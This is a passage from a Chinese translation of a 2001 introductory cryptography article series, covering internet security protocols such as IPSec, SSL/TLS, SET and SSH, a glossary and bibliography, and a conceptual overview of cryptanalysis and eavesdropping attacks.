从而支持复合信息包的认证和安全传输。

诸如 RSA 这样的公钥体制使用很长的密钥长度 — 现在，建议至少使用 768 位的密钥。
因式分解成质数是攻击许多此类系统的基本方法，而这样做非常困难。
因为计算机系统的处理能力不断增强，在蛮力攻击下，以前安全的密钥也可能变得脆弱，
因此确保使用足够长的密钥以提供保护应付将来可能存在的威胁，这一点很重要。
虽然计算机能力的提高使攻击旧的密钥变得更容易，但通过更方便地在合理的时间里使用
在可预见的将来不可能被破解的较长密钥，实际上许多人获得了更多的好处。

密码术简介，第 4 部分：因特网上的密码术

自由撰稿人（IBMDev@TextBiz.com）
Murdoch Mactaggart
2001 年 3 月

因特网引入了大量与以往不同的安全性弱点。您正在与之通信的组织或个人可
能是您不认识的或者可能是伪装成其他组织（个人）的组织或个人。不必过分
猜疑这类问题，但有必要采取适当的预防措施来防止通过各种方式造成的损失，
这些方式包括资金转移、错误认证的结果、机密信息丢失、毁约等。
密码术就是主要处理这类风险的，本文介绍了某些协议和相关机制，
这些协议和相关机制与因特网活动（包括，电子邮件）有特定的相关性。

与因特网相关的协议和机制

请求注释（Request for comment (RFC)）
请求注释是由因特网网络工程任务组（IETF）管理的正式因特网文档，它用作传播有
关因特网工程咨询和意见信息的一种方式。RFC 描述了开放标准，使那些可能希望或
需要使用那些标准进行通信的人受益。它们是由参与不同工作组的志愿者编写的，
发布在不同位置上，特别在 IETF 站点上。有关 TLS 的详细信息（请参阅下面的描述）
就是以这种格式表示的。

IPSec
IETF 的 IP 安全性协议工作组目前正在定义 IP 的安全性附加协议，它是为 IP 数据
报这一层提供认证、完整性和保密性服务的规范。在几个 RFC 中对它都有描述，
虽然是想专门用于 IP v.6.0 的，但它也可以用于 IP v. 4.0（IP v. 4.0 是当前标准，
使用点分四组形式的地址，如 192.168.1.3）。它旨在用作对因特网通信
（例如，为 VPN 和封装隧道等）提供安全性的基础。一些供应商和软件组织正在开发
或提供集成了 IPSec 的产品。例如，芬兰的 SSH Communications Security 有一种称
为 IPSec Express 的产品，它是为方便符合 IPSec 的电子商业应用程序开发而设计的，
而从1999年6月开始，NetBSD Foundation 已经将IPSec代码合并到了NetBSD分发版中。

虽然 IPSec 已经成为因特网安全性实现的一个事实上的标准，但却受到来自
Niels Ferguson 和 Bruce Schneier（后者是被广泛关注的 Blowfish 密码的设计者）
等人的批评。Ferguson 和 Schneier 认为 IPSec 已经变得过度复杂并趋于难以管理。
他们说，这里的问题是：对 IPSec 进行的内容增加并没有以期望的方式增强该产品，
而是为了满足表达出来的广泛兴趣的愿望和期望。他们不合时宜地将这种方法与 NIST
采用的方法进行对照以便选择一种新的安全性算法来代替 DES，在有关对称密码术的
文章（第 2 部分）中对此作了描述。

他们的结论是：IPSec 比以前任何安全性协议都好得多，
但声称其设计中固有的复杂性已经导致了大量模糊、矛盾、低效和其它一些弱点，
并产生了极其难懂的一套规范，结果他们怀疑它是否能生成一个真正安全的操作系统。
他们提出了许多具体的建议，但承认文档的拙劣质量和协议的过度复杂性意味着他们
没有完全理解系统，这是对其经验和权威的极大挑战。正如他们指出的，让 90% 的安全性
起作用是不行的。坦率地说，他们十分不满意使用当前形式的 IPSec，但更强烈地反对
当前任何其它协议。因此，当这些其它协议不能保护网络的安全时，他们还是建议使用 IPSec。

安全 HTTP（Secure HTTP (S-HTTP)）
安全 HTTP（S-HTTP）是在应用层运行的 HTTP 安全性扩展。
它旨在当支持不可抵赖性以及允许使用多种密码算法和密钥管理机制的同时，
提供保密性和认证。虽然可以在会话之前获得经 Kerberos 服务器同意的初始密钥，
或者可以在一个会话中生成下一个会话要使用的密钥，但通常将 RSA 用于初始密钥协商。

安全套接字层（Secure Sockets Layer (SSL)）
安全套接字层（SSL）是由 Netscape Communications 开发的用来向因特网会话
提供安全性和保密性的握手协议。它支持服务器和客户机认证，并且被设计成协商加
密密钥以及在交换任何数据之前认证服务器。它使用加密、认证和 MAC 来维护传输信道的完整性。

虽然 SSL 最适合用于 HTTP，但它也可以用于 FTP 或其它相关协议。
它在传输层运行并且是独立于应用程序的，因此象 FTP 或 HTTP 之类的相关协议
可以放在该层之上。使用初始握手来对服务器进行认证。在这一过程中，服务器把证书
提交到客户机并指定要使用的首选密码。然后，客户机生成在即将进行的会话期间使用的秘钥，
然后将它提交给服务器，并相应地用服务器的公钥对它加密。服务器使用其私钥解密消息，
恢复秘钥，然后通过向客户机发送一条使用该秘钥加密的消息来向客户机认证自己。
使用这一达成协议的秘钥对加密的数据进行进一步的交换。

可以用第二阶段（可选）来进一步增加安全性。这里，服务器发送一个质询，
客户机对此作出响应，向服务器返回该质询的数字签名和客户机的公钥证书。

质询阶段通常是使用带有用于消息摘要的 MD5 的 RSA 执行的。也可以使用各种
对称密码，包括 DES、三重 DES、IDEA、RC2 和 RC4。公钥证书符合 X.509 标准。
SSL 目前的版本为 3.0。

SSL 先前的历史给出了一个有关密码产品的对等复查重要性的警告，
特别是 Ian Goldberg 和 David Wagner（两名加州大学的博士研究生）
在 Dr Dobb's Journal 1996 年 2 月刊中写了一篇文章，说明了他们是如何破解加密
系统然后使用它的。

因为在那时，Netscape 不想发布关于 SSL 的结构或 SSL 所使用的密码术和其它方法
的任何信息，Goldberg 和 Wagner 对相关算法运用了逆向工程。他们发现用来生成
伪随机数（并由此随机数生成秘钥）的种子取决于日期、进程标识和父进程标识。
获取这两个标识相对容易，至少对于在运行浏览器的 UNIX 机器上有帐户的任何用户
来说是这样。嗅探器用一秒钟就可以完成信息包的收集。该信息将可能的种子的数目
降低为一百万，然后使用 HP 712/80 可以在不到半分钟的时间内完成这些值的破解。

使用计算机生成一个真正的随机值是很困难的，因此需要随机数的程序将以尽可
能随机的方式生成一个种子，然后使用伪随机数发生器（PRNG）从这个种子生成
一个伪随机数。然而，使用特定 PRNG 的同一种子将产生相同的数，该数被相应地用
于加密体制算法中，它将产生相同的密钥。这对于它本身并不是弱点，但使原始的种子
尽可能随机地生成却非常重要。应用程序通常会遇到非常难以预料或重复的事件，
例如，芯片中的随机电子噪声、有噪声的二极管、某个磁盘驱动器的运转、用户击键
或者鼠标移动等。在这种特殊情况下，乍看，使用三个元素来创建种子是合理的，
并且刚开始的设计人员明显也是这样做的，但是进一步的分析却揭示了一些局限性。
请别人来为这类机制挑刺恰恰是对等复查的价值所在，如果一个系统最终被认为是良好的，
这一点很关键。

传输层安全性（Transport Layer Security (TLS)）
传输层安全性（TLS）协议是 IETF 标准草案，它基于 SSL 并与之相似。
它的主要目标是在两个正在通信的应用程序之间提供保密性和数据完整性。
它由两层构成。较低的层称为 TLS Record 协议，且位于某个可靠的传输协议
（例如，TCP）上面。这一层有两个基本特性，具体说该连接是专用的并且是可靠的。
它用于封装各种更高级协议，但也可以不加密地使用。通常使用加密时，生成的用于
这个加密的秘钥专用于每个连接，这些秘钥基于由另一个协议
（例如，更高级别的 TLS Handshake 协议）协商的秘钥。

TLS Handshake 协议提供了具有三个基本特性的连接安全性，即可以使用非对称密码
术来认证对等方的身份，共享密钥的协商是安全的，以及协商是可靠的。

与SSL一样，TLS是独立于应用程序协议的,其使用的加密算法的种类与SSL使用的相似。
然而，TLS 标准把如何启动 TLS 握手和如何解释认证证书的决定权留给运行于
其上层的协议的设计者和实现者来判断。

TLS 协议的目标，按其优先级顺序来说，是密码安全性、互操作性和可扩展性。
最后一个目标意味着 TLS 提供了一种框架，当新的和改进的非对称以及其它
加密方法可用时，便可以将它们引入该框架。

无线传输层安全性（Wireless Transport Layer Security (WTLS)）
无线应用程序协议（Wireless Application Protocol (WAP)）体系结构中的
安全性层协议称为无线传输层层安全性（Wireless Transport Layer Security (WTLS)）。
它在传输协议层之上操作，它是模块化的，是否使用它取决于给定应用程序
所需求的安全性级别。WTLS 为 WAP 的上一层提供了保护其下的传输服务接口的
安全传输服务接口。另外，它为管理安全连接提供了一个接口。

WTLS 与 TLS 非常相似，但它最适合用于等待时间相对长的窄带传输网络。
但是，它添加了一些新特性，例如，数据报支持、经过最优化的握手和密钥刷新。
与使用TLS一样，它的主要目标是在两个正在通信的应用程序之间提供保密性、数据完整性和认证。

安全电子交易（Secure Electronic Transaction (SET)）
安全电子交易（SET）协议是由 VISA 和 MasterCard 国际财团开发的作为在
开放网络上的进行安全银行卡交易的方法。它支持 DES 和三重 DES 以实现成批数据加密，
并支持用 RSA 对秘钥和银行卡号的公钥进行加密。

虽然 SET 被认为是非常安全的，但太安全使它的速度相对很慢。另外，用户需要
正确发出的数字证书，因此不能象 SSL 或 TLS 那样以一种简单的特别方式来使用它。
由于这些原因，以及许多银行将风险和银行卡安全性漏洞的后果转嫁给其商业客户，
所以 SET 的采用远没有开始设想的那么多，这是个问题。然而，有迹象表明这正在改变。

安全广域网（Secure Wide Area Network (S/WAN)）
安全广域网倡议是由 RSA Data Security 推动的，它旨在促进基于因特网的
虚拟专用网（Internet-based Virtual Private Networks (VPN)）的广泛部署。
S/WAN 支持 IP 级的加密，因此它比相似的 SSL 或 TLS 提供了更基本的、更低级别的安全性。
VPN 是一种机制，设计成当用户使用因特网时，允许他们维护他们之间的安全隧道。
例如，可以廉价地连接远程办公室，而不会增加成本，或者避免使用专门租用线路造
成点对点的不便。对通过通道传递的消息进行了加密，因此它们应该是安全的，可以避免
第三方的有效截获。实际上，并且部分由于不同标准的开发被设计成为一个或另一个公司
带来有竞争力的利益，造成理论和实践严重脱节，尤其在互操作性方面。S/WAN 倡议是给
产生的混乱带来一些秩序的一种尝试。

虽然原始的 S/WAN 倡议不再进行了，但是在 Linux FreeS/WAN 和虚拟专用网协会
（Virtual Private Network Consortium）倡议中有非常相似的倡议。
FreeS/WAN 是 IPSec （请参阅前面的描述）在 Red Hat Linux 中的实现，并有效地
按照 GNU GPL 下提供了可以自制的 Linux 的 VPN 实现。

安全 Shell（SSH）
安全 Shell（SSH）是目前正在由 IETF 的 SECSH 工作组标准化的协议。
它允许网络上的安全远程访问。可以使用多种方法来认证客户机和服务器并在支持SSH的
系统之间建立加密的通信通道。然后，这个连接可以用于许多方面，
例如，建立VPN或者在服务器上创建安全远程登录以替换类似的telnet、rlogin或rsh。

加密的电子邮件
为何提到加密的电子邮件呢？在许多情况下，它并没有什么不同，但是用户应该理解，
发送明文电子邮件等于发送一张任何人都可读的明信片。
电子邮件在一条不确定的、分段路由上传输，并且在沿途的许多点可以毫不费力地查看它。
部分时间内，它保存在网络邮件服务器的半公开区域或 ISP 的存储器中。
电子邮件还可能被错误路由或错误地成批发送：Network News 期刊中收录了一名网络经理的文章，
他误将一张在他的头像旁写有“I am very munchable”（我很能吃）的图象发送到了
办公楼里的每台打印机，这个图象原本是作为他妻子的私人 T-恤衫上的消息。
那当然不是电子邮件，但是电子邮件也很容易发生这样的问题，而且同样会造成尴尬。
许多产品提供安全电子邮件，该电子邮件要么作为使用 PGP（Pretty Good Privacy (PGP)，
后面的文章中会详细讨论）的补充产品提供，要么使用如安全 MIME (S/MIME) 之类的协议
将数字签名和加密工具添加到使用适当的客户机（例如，Netscape）创建的邮件消息中。
MIME（多用途因特网邮件扩展 (Multipurpose Internet Mail Extensions））是一种因特网
邮件标准化的格式，它允许以标准化的格式在电子邮件消息中包含增强文本、音频、图形、
视频和类似的信息。然而，MIME 不提供任何安全性元素 — S/MIME 添加了这些元素。
S/MIME 已经得到了许多联网和消息传递 ISV 的认可，
包括 Netscape、Qualcomm、Microsoft、Lotus、Novell 以及其它 ISV。
可以从 IETF 获取信息。

然而，将加密的电子邮件引入大型组织会引起一些新问题。
反病毒产品可能未必一定识别加密的危险附件。另外，扫描程序和防火墙
（其工作可能是确保阻止机密或非法信息出入组织或部门）也可能有相似问题。

一种解决方案可能是在外部网关上加密和解密，但这会使电子邮件在通过公司网络
传输时保持未加密状态，这可能不太合适。
在任何情况下，无论正在使用何种电子邮件客户机，许多电子邮件加密包作为
这些客户机的附属工具在桌面级别工作。但是，通过分散特定内容安全性策略，
在桌面扫描会使问题更复杂和难以强制执行。另一个选项 — 通常是笨拙和耗费资源的，
但在某些环境中却是适当的 — 可能是仅在将电子邮件的副本发送到集中式邮箱以
进行解密和检查的同时，才允许使用加密的电子邮件；这里的困难包括流量加倍、
消息传递延迟、需要实时告知用户实际情况以及可能给用户带来的不便。
Giga Group 在最近的一次讨论中提出了该问题，建议最满意的解决方案是加密的电子邮件，
然后发送到中继器；在那里，对其解密，并进行检查以确定是否符合安全性策略
以及有无病毒，为既定收件人进行加密，然后适时地重新发送。和以往一样，最好的
方法取决于权衡风险与所提解决方案的成本和不便。

密码术简介，第 7 部分： 内容和参考资料列表

Murdoch Mactaggart（IBMDev@TextBiz.com）
自由撰稿人
2001 年 3 月

本文总结了“密码术简介”系列中的内容并包括术语词汇表。
密码术文章

第 1 部分：概览
— 一般信息
— 为什么使用密码术？
— 对于开发人员应该掌握些什么？
— 密码技术
— 结束语

第 2 部分：对称密码术
— 简介
— 对称密码的类型
     — 分组密码
     — 序列密码
     — 消息认证代码
— 对称密码的示例
     — DES
     — IDEA
     — CAST
— 一次性密码本
    — AES
— 结束语

第 3 部分：非对称密码术
— 简介
— 非对称密码的示例
     — Diffie-Hellman
     — RSA
— 其它非对称密码系统
— 散列函数
— MD4 和 MD5
— SHA 和 SHA-1
— 结束语

第 4 部分：因特网上的密码术
— 因特网相关协议和机制
    — RFC
    — IPSec
    — S-HTTP
    — SSL
    — TLS
    — WTLS
    — SET
    — S/WAN
    — SSH
—加密电子邮件

第 5 部分：实际应用
— 简介
— 结合密码方法
    — 数字签名
     — Pretty Good Privacy
— 隐蔽通信
    — 隐写术
— 安全性机制
    — SecurID
    — 智能卡
    — 生物测量学
— 价值的电子传输
— 结束语

第 6 部分：杂项问题
— 简介
— 攻击与弱点
    — 密码分析
— 窃听与其它攻击
— 密钥管理和相关问题
    — 秘密共享
    — 零知识证明和特殊签名方案
    — 证书
    — 数字时间戳记
— 结束语

术语词汇表

AES
      旨在替代 DES 的高级加密标准（Advanced Encryption Standard）。
      由 NIST 组织的竞赛获胜者是 Rijndael。

算法（Algorithm） 执行一项任务（例如，加密或解密）的规则模型。
非对称密码术（Asymmetric cryptography）
    最近开发的一种密码术形式，它包含两个在数学上关联的密钥，
    一个用于加密明文，然后只能用另一个相应密钥进行解密；它也称为公钥密码术。
认证（Authentication）   验证身份和授权等的过程，从而可以信任某些对象。
生物测量学（Biometrics）  使用唯一身体特征来建立身份的一门学科。
生日攻击（Birthday attack）
          以 23 个人为一组的人中有两个或两个以上的
        人在同一天生日的概率大于 1/2 这一事实命名的一种特殊形式的蛮力攻击。
盲签名方案（Blind signature scheme）
      一种允许签名者在不知道文档内容的情况下对文档进行数字签名的方法。
      定长的块 A 位序列。
分组密码（Block cipher） 将明文分成块然后依次加密它们的一种对称密码。
蛮力攻击（Brute force attack） 尝试每个可能的值直到找到匹配值为止的过程（又称为穷举搜索）。
CBC 密码分组链接（Cipher Block Chaining）
在加密明文块前将它与以前的密文块进行 XOR 运算的过程。
认证中心（Certifying authority (CA)）
创建数字证书的组织或个人；也称为证书中心（certificate authority）。
CFM 密码反馈方式（Cipher Feedback Mode），
作为自同步序列密码实现的一种分组密码方式。
密码（Cipher） 一种加密-解密算法。
密文（Cipher text） 已加密的数据。
明文（Clear text） 请参阅明文（plain text）。
冲突（Collision） 两个不同文本从同一算法中返回相同散列值的情况。
隐蔽通道（Covert channel） 已隐藏或者看上去没有用来传送数据的通信介质。
破解者（Cracker） 试图破坏计算机安全措施（包括密码术）的人或计算机程序。
CRL 证书撤销列表（Certificate Revocation List）；已被撤消从而不再有效的证书列表。
密码分析（Cryptanalysis） 通过分析或其它方法试图破解密码的过程。
密码系统（Cryptosystem） 密码以及所有可能的明文、密文和密钥。
字典攻击（Dictionary attack） 蛮力攻击的一种形式，可能根据概率有选择地修正，
按顺序对字或短语进行尝试。
数字证书（Digital certificate） 由可信的公钥认证的电子文档，
它确保指定的公钥与标识的个人或组织正确关联并未被泄露；通常简称为“证书”。
数据加密标准（DES）（Data Encryption Standard (DES)）
由 IBM 开发的数据加密算法（Data Encryption Algorithm）的正式描述，
1977 年美国政府采用它作为正式的标准。
解密（Decryption） 将密文转换成明文的过程。
Diffie-Hellman 1976 年公布的按创始人的名字命名的第一个公钥算法。
数字现金（Digital cash） 现金的电子表示，通常以能够匿名使用的“币”的混合值表示。
数字信封（Digital envelope） 一种机制，将密文及其关联的会话密钥
以受另一个密钥（通常是私钥，但并不一定如此）保护的加密形式封装。
数字签名（Digital signature） 以数学方法将文档与特定私钥相关联的过程；
注：这与特定个人链接到一个文档因此就签署的方式是不同的。
数字时间戳记（Digital timestamp） 以数学方法将文档与特定日期和时间相关联的过程。
电子货币 请参阅电子现金。
加密（Encryption） 将明文转换成密文的过程。
平均信息量（Entropy） 在数学中，不确定或随机数量的度量。
穷举搜索（Exhaustive search） 请参阅蛮力攻击（brute force attack）。
因子（Factor） 除尽整数的任何数；例如，15 的因子是 5 和 3。
因式分解（Factoring） 这里指将由两个质数组成的大整数分解成那两个质数的过程。
黑客（Hacker） 通常能熟练编写和修改软件（特别在神秘领域）且经验相当丰富的人；
常错误地将它用作破解者的同义词（请参阅前面的描述）。
散列函数（Hash function） 设计成从可变和任意长度的文本输入中给出定长输出
（通常在密码术中为 128 或 160 位）的函数。
IETF 因特网工程任务组（Internet Engineering Task Force）的首字母缩略词，
该组织负责许多因特网标准。
IPSec 为 IP 数据报层上的认证、完整性和保密性服务提供的 IETF(TM) 安全性附加规范。
ISO 国际标准化组织（International Standards Organisation）的首字母缩略词，
该组织的作用如其名称所示。
Kerberos 与密钥传递机制关联的可信的第三方认证协议；是在 MIT 开发的。
密钥（Key） 用于位字符串的统称，当与密码一起使用时，
它确定给定明文与关联的密文间的关系。
密钥契约（Key escrow） 第三方保存可信的密钥以应付某些一致同意的突发事件的过程。
密钥长度（Key length） 给定密钥中位数的度量；注：虽然密钥长度越长，
安全性越强，但将一个密码使用的长度与另一个的长度进行比较是不合适的，
通常，对称密码中的密钥长度与非对称密码中的密钥长度不是直接相等的。
密钥对（Key pair） 在非对称密码术中，公钥和私钥组合在一起成为密钥对。
密钥恢复（Key recovery） 即使密钥丢失也可以允许恢复消息的特性。
这可能涉及密钥契约、在系统中开后门或其它方法。
MAC 消息认证码（Message Authentication Code）的首字母缩略词。
消息摘要（Message digest） 与给定消息关联的、通常应用专门的散列函数生成的（几乎是）唯一值。
MIME 多用途因特网邮件扩展（Multipurpose Internet Mail Extensions），
它是提供一种通过使用不同字符集交换多语言文本的方式的因特网邮件标准。
模运算（Modular arithmetic） 当整数除以模数得到相同的余数时，则认为是相等的算术形式。
模数（Modulus） 模运算中用作除数的整数。
NIST 美国政府部门 —
国家标准和技术协会（National Institute of Standards and Technology）
的首字母缩略词，它负责制定密码术标准以及其它事情。
NSA 另一个美国政府部门 —
国家安全局（National Security Agency）的首字母缩略词，
它忙于检查外来电子通信和其它通信。
数字理论（Number theory） 研究数字属性及其关系的数学领域。
一次性密码本（One time pad） 也称为 Vernam 密码，
它虽然难以管理却被认为是不可破解的；密钥由完全与消息本身等长的随机选择的位构成，
并将它与消息进行 XOR 运算进行加密。
密码（Password） 打算在控制对文件或系统访问时作为某类密钥使用的一种可打印字符串。
密码短语，如名称所示，它与密码相似，但更长并且由几个字构成。
明文（Plain text） 加密之前的数据。
质数（Prime number） 只能被 1 及其本身整除的大于 1 的任何整数；2、3 和 5 是质数，4 不是。
私钥（Private key） 非对称系统中的秘钥。
创建数字签名时，它用于加密过程；查看接收消息时，它用于解密过程。
PRNG 伪随机数发生器（Pseudo-Random Number Generator），
它是在计算机系统中使用的以尽可能不确定的方式创建种子值的一种机制，
然后从该种子值派生出伪随机数。
公钥（Public key） 非对称密钥对中广为人知的组成部分。
它的使用方式与私钥的方式相反。
公钥密码术（Public key cryptography）
请参阅非对称密码术（asymmetric cryptography）。
随机数（Random number） 完全独立于其生成标准而生成的数。
让计算机生成一个真正随机的数是极其困难的，因此使用尽可能不确定的伪随机数。
抵赖（Repudiation） 否认已执行某些操作；因此“不可抵赖”用作系统的一种特性，
可以明确地显示确实如声称所说的那样执行了某个操作。
撤销（Revocation） 证书有效性的取消。
RFC 意见请求（Request For Comment），用作散播信息和与用户咨询的一种方式的 IETF 文档。
RSA 算法（RSA algorithm）
一种基于因式分解问题的广泛使用的非对称密码系统。
词首字母缩略词是源于开发人员 Ron Rivest、Adi Shamir 和 Leonard Adelman 的名字。
安全隧道（Secure channel） 将信息从一个来源输送到另一个来源从而防止第三方对其访问的一种方法。
S-HTTP 安全超文本传输协议（Secure Hypertext Transfer Protocol）。
S/MIME  安全 MIME（Secure MIME）。
SSH 安全 Shell，由 IETF 提出的用于保护传输层的协议。
SSL 安全套接字层（Secure Socket Layer），由 Netscape 开发的在因特网会话期间提供安全通信的协议。
秘钥（Secret key） 在对称密码术系统中同时用于加密和解密的单个密钥。
秘密共享（Secret sharing） 通常应用于密钥，密钥是这种方式划分的 —
需要把从可能的总数中拿出的最少的块组合起来以提供访问；
例如，可能通过至少组合 8 个元素中的 5 个来提供访问。

会话密钥（Session key） 为在加密的单个会话期间使用而生成、随后被废弃的密钥；它通常是秘钥。
SET 安全电子传输（Secure Electronic Transmission），
主要由 VISA 和 MasterCard 国际财团开发的一种标准，它用于在银行卡信息互换领域提供安全性。
SMTP 广泛用于发送电子邮件的简单邮件传送协议（Simple Mail Transfer Protocol）。
智能卡（Smartcard） 通常为信用卡大小的一个塑料的小设备，
上面有一个用于存储和处理少量信息的计算机芯片。
序列密码（Stream cipher） 一次处理位流中一位的秘钥算法。
替代密码（Substitution cipher） 使用其它字符替换明文字符以形成密文的一种常用简单机制。
S/WAN 安全广域网（Secure Wide Area Network），旨在支持 VPN 的倡议。
对称密码术（Symmetric cryptography） 依靠双方共用同一秘钥提供加密／解密功能。
对称密钥（Symmetric key） 秘钥的另一个名称。
调位密码（Transposition cipher） 明文字符保持不变，但其顺序以某种
方式进行了换位的另一种常用简单机制。
TLS 传输层安全性，与 SSL 相似的 IETF 草案，意在提供因特网上的通信保密性。
Vernam 密码（Vernam cipher） 请参阅一次性密码本（one time pad）。
VPN 虚拟专用网（Virtual Private Network），在远程系统之间允许安全网络使用，
但要跨越公共网络（如因特网）的一种方法。
WAP 无线访问协议（Wireless Access Protocol）。
弱密钥（Weak key） 许多密钥中的一个，它可能在密文中生成规律性，
或者可能提供很差的安全性，因此破解加密相对容易。
WTLS 无线传输层安全性（Wireless Transport Layer Security），WAP 体系结构中的安全性层协议。
XOR 异或（exclusive XOR）的缩写，一种逻辑运算：如果比较的两个值不同则返回真，
如果比较的两个值相同，则返回假。
它用于位运算，1 XOR 0 或 0 XOR 1 得 1，1 XOR 1 或 0 XOR 0 得 0。

参考书目
可以从那些还未由于误导的管理策略和缺乏资金而沦落到只卖华丽而庸俗垃圾的书店、
图书馆中得到各种有关密码术的书籍，也可以从各种在线资源获取。
下列书名是特别有用的一些，但还有许多。
如 Scientific American, Wired 期刊和其它杂志也发布了关于密码术方面的有用文章。

Biham, Elia 和 Shamir, Adi 合著的 Differential Cryptanalysis of
the Data Encryption Standard。Springer Verlag, ISBN 0387942939

Cheswick, William R. 和 Bellovin, Steven M.合著的 Firewalls and Internet Security。
Addison Wesley, ISBN 0201924803

Diffie, Whitfield 和 Landau, Susan Eva 合著的 Privacy on the Line。
MIT Press, ISBN 0262041677

Kahn, David 所著的 The Codebreakers。Scribner, ISBN 0684831309

Kaufman, Radia Perlman 和 Spencer, Mike 合著的
Network Security: Private Communication in a Public World。 Prentice Hall, ISBN 01306145661

Kiblitz, Neal 所著的 A Course in Number Theory and Cryptography。
Springer Verlag, ISBN 0387942939

Menezes, Alfred J.、van Oorschot, Paul C. 和 Vanstone, Scott
所著的 Handbook of Applied Cryptography。CRC Press, ISBN 0849385237

RSA 实验室的 Frequently Asked Questions about Today's Cryptography。
可以从 RSA 站点在线获取，请参阅前面的描述。

Rubin, Geer 和 Ranum 所著的 Web Security Sourcebook。John Wiley & Sons, ISBN 047118148X

Schneier, Bruce 所著的 Applied Cryptography。John Wiley & Sons, ISBN 0471117099

Schneier, Bruce 所著的 Secrets and Lies;
Digital Security in a Networked World。John Wiley & Sons, ISBN 0471253111

Smith, Richard 所著的 Internet Cryptography。Addison Wesley, ISBN: 020192480

 密码术简介，第六部分：杂项问题
Murdoch Mactaggart（IBMDev@TextBiz.com）
自由撰稿人
2001 年 3 月

适当构造的、并具有足够长度、严格保护的强密钥的密码，目前来说实际上是不可攻破的。
然而，弱点依然存在，并且在非对称密码术的情况下，知道公钥的真实性十分重要。
数字证书可以确认这一点，虽然这不是绝对的，而是依赖于某种级别的信任。
此外，有些情况下需要特殊形式的签名，可能允许不查看内容而进行签名；
或者某人需要不暴露内容而向另外一个人确认：他知道某些秘密的事情。
可能需要验证数字签名的确切时间，这可以通过时间戳记进行处理。

简介
密码术的数学基础和用来构建有用系统的技术本身非常有趣。
但是，密码系统通常是作为整个安全性策略的一部分，
如同 Counterpane Security 的 Bruce Schneier 所评论的：“
安全性是一个过程而不是一个产品”。而且，安全性是管理风险而不是消除风险，
而且总是需要平衡成本与效益。可能从经济上考虑花上10,000 美元来保护
价值1,000 美元的东西没有多大意义，然而也有许多不那么切实考虑成本与效益的情况。
考虑人们实际如何使用系统是必需的；从技术的观点看好象合适的解决方案实际上
可能是有缺陷的，因为人们可能会找到方法绕过其不方便的元素。而且，可能还会
有法律责任，例如需要确保有关个人的数据严格禁止未经授权的第三方访问，
加密可以方便地实现这一需求。

虽然其中的许多问题超出了本系列文章的范围，但是本系列最后的这篇文章
会涉及其中的某些问题。特别地，本文将考虑通过密码分析学或其它方法，
使系统可能会受到攻击的某些领域，还将讨论有关密钥管理、数字证书及数字时间戳记的问题。

攻击与弱点

密码分析
密码通常基于按现在的知识很难解决的数学问题。这一告诫十分重要。
例如，分解大质数极其困难，这一困难的实际结果是：即便使用数量巨大的计算能力，
平均也要花费成百或上千年来确定公钥中相关的质数从而计算相应的私钥。
因此，目前可以认为，比如说，使用具有足够长度密钥的 RSA 进行加密的明文
对于所有实用目的而言是绝对安全的。虽然绝对安全是不可能的，但这可能已经足够发生了，
因此继续使用经过良好评估、良好测试并被认为是安全的密码是有意义的。

一个更重要的问题是：某个特定的算法是否有缺陷；是否存在某种形式的密钥组，
相对容易破解，或者什么时候用于特定的环境；又或者有时，
如前所示一些辅助性方法（如伪随机数发生器（PRNG））具有引入弱点的缺陷。
这就是为什么同级评审是必需的，以及为什么应该采用各种密码分析以试图破解加密的原因。
那些长期以来经受了极其详细的检验，并且在范围很广的环境中保持安全
的算法和实现，越来越可能成为可靠的算法和实现。

BugTraq 报告的一个近期事件给出了可能发生的事情的一个示例，
它涉及以前由 Mattel 拥有现在属于 SurfControl 的审查程序 CyberPatrol。
为什么无论谁都曾经想注册该程序，真是生活中的一个难解的谜，但任何寻求
这么做的人都不安地了解到：如同 BugTraq 所指出的，CyberPatrol 的站点
并不使用 SSL，而是以明文发送除信用卡号码之外的所有详细信息 — 包括失效日期。
该站点确实对信用卡号码进行了加密，虽然站点使用的是一种替代密码，
这种密码如同警告所评论的那样是“等同于那种 ... 可以在报纸的游戏版面上找到的密码”，
任何使用便笺簿和铅笔的人几乎肯定能破解。这不是一件孤立的事情。
遗憾的是，许多软件供应商如此缺乏能力，如此专注于短期财政收益，
如此轻视其客户，如此痴迷于不需努力就能发大财的美事，以致于他们开发的
以次充好的产品对私有数据的保护简直令人发笑，并且对那些揭露他们疏忽的人以提起诉讼来威胁。

穷举搜索是一种尝试所有可能的密钥组合直到找到一个合适的组合的技术，
它在许多情形下，尤其是如果搜索的可能性的范围可以被缩小，不失为一种切实
可行的解决方案。SIM 卡和 PDA，如各种 Pocket PC 或 Palm 设备，
通常可以通过使用一种要求恰好输入四位数字的四位通行码来保证安全。
虽然这好象等同于一个提供 232（4,294,967,296）种可能性的 32 位密钥，
因此好象相当安全，但实际上，所提供的可能性数目只和四个 0-9 数字轮组
合锁提供的 10,000 种可能性相同，或者只比 213 多一点。
虽然就 PDA 或电话本身来说，这并不十分要紧，但当 PDA 用于连接到其它安全网络时，
真正的问题就出现了；对 10,000 种可能的密钥进行蛮力攻击，
平均需要尝试其中一半的可能，会在极短的几秒钟内获得成功。

对于对称块密码，可能的攻击机制包括微分与线性的密码分析、代数攻击以及利用弱密钥。
后两种机制依赖于识别特殊的对称性。DES 有四个弱密钥，当使用这样一种密钥加密
的明文在再次加密时，原始的明文就暴露了。就象以前提过的，IDEA 有更加多的弱密钥，
在每种情况下，都要确保排除这些已知的密钥，这是很重要的。
攻击散列函数的主要形式是以前所描述的生日攻击 — 一种特殊的蛮力攻击。
注：正如所讲过的那样，对散列函数成功的生日攻击并没有泄露密钥。

更一般地，如果可以分析密文以显示其规律性，或者如果能将明文样本与
由其派生的密文进行比较 — 并且，尤其是在流密码的情形下，如果可以进行动态
分析以比较通过微分加密密钥流的小部分所获得的结果，并将其与使用密码获得
的实际结果进行比较 — 那么找到密钥的可能性会大大提高。

窃听与其它攻击
攻破具有良好密钥的标准密码通常极其困难。因此，一条更富有成效的攻击
路线是用某种方式查看明文或者绕过密码的安全性。前面，我曾提到过在许多
电子邮件是完全公开的地方，任何人利用适当的工具就可阅读。特洛伊木马程序
以及诸如 Back Orifice 的程序允许远程用户轻易地从特殊的系统获取信息。
系统中存在错误并且可以加以利用。Ralph Senderek 最近的文章声称：
添加到 PGP 更新版本中的附加解密密钥（Additional Decryption Key，ADK）
在其实现中含有缺陷，这使得在某些情况下获取明文十分容易。

就象传真以明文的形式出现一样，电子邮件和其它文档也需要明文形式
以便在监视器上阅读。监视器发射电磁辐射，据称在有些情况下，
可以截获该辐射并将其复制到另一个显示器上。美国政府已经开发了
某些用代码 TEMPEST（但现在称为 EMSEC — 发射安全性 (Emission Security)）
